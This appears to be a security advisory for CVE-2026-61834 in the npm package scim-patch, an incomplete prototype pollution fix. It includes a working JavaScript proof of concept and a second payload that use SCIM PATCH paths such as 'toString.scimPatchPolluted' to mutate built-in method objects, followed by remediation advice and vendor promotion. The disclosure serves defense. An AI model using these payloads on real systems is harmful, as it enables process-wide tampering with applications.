Summary
scim-patch: Mutation of Inherited Built-in Method Objects
Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects
scim-patch blocks direct dangerous path segments such as __proto__, constructor, and prototype, but still traverses inherited properties when applying SCIM patch paths.
An attacker who controls a SCIM PATCH operation can use paths such as toString.polluted to mutate shared built-in function objects, for example Object.prototype.toString.
Details
Affected code paths:
navigate()reads inherited properties viaschema[subPath]assign()useskey in obj, which treats inherited properties as existing
Because inherited keys are followed, safe-looking path segments such as toString can resolve to shared built-in objects.
PoC
const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");
const victim = {
schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
userName: "alice",
active: true,
emails: [{ value: "[email protected]", primary: true }],
meta: { created: "x", lastModified: "x", resourceType: "User" }
};
try {
assert.equal(({}).toString.scimPatchPolluted, undefined);
scimPatch(victim, [
{ op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
]);
assert.equal(({}).toString.scimPatchPolluted, "polluted");
console.log(({}).toString.scimPatchPolluted);
} finally {
delete Object.prototype.toString.scimPatchPolluted;
}
Output:
polluted
A no-path operation with a dotted value key is also affected:
scimPatch(victim, [
{ op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);
Impact
A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct Object.prototype pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.
CVE-2026-61834 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Do not traverse inherited properties while resolving patch paths. Use own-property checks such as Object.hasOwn(obj, key) and create missing containers only for safe own keys.
Keep the existing denylist for __proto__, constructor, and prototype as defense in depth.
Frequently Asked Questions
- What is CVE-2026-61834? CVE-2026-61834 is a medium-severity security vulnerability in scim-patch (npm), affecting versions < 0.9.2. It is fixed in 0.9.2.
- How severe is CVE-2026-61834? CVE-2026-61834 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of scim-patch are affected by CVE-2026-61834? scim-patch (npm) versions < 0.9.2 is affected.
- Is there a fix for CVE-2026-61834? Yes. CVE-2026-61834 is fixed in 0.9.2. Upgrade to this version or later.
- Is CVE-2026-61834 exploitable, and should I be worried? Whether CVE-2026-61834 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-61834 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-61834? Upgrade
scim-patchto 0.9.2 or later.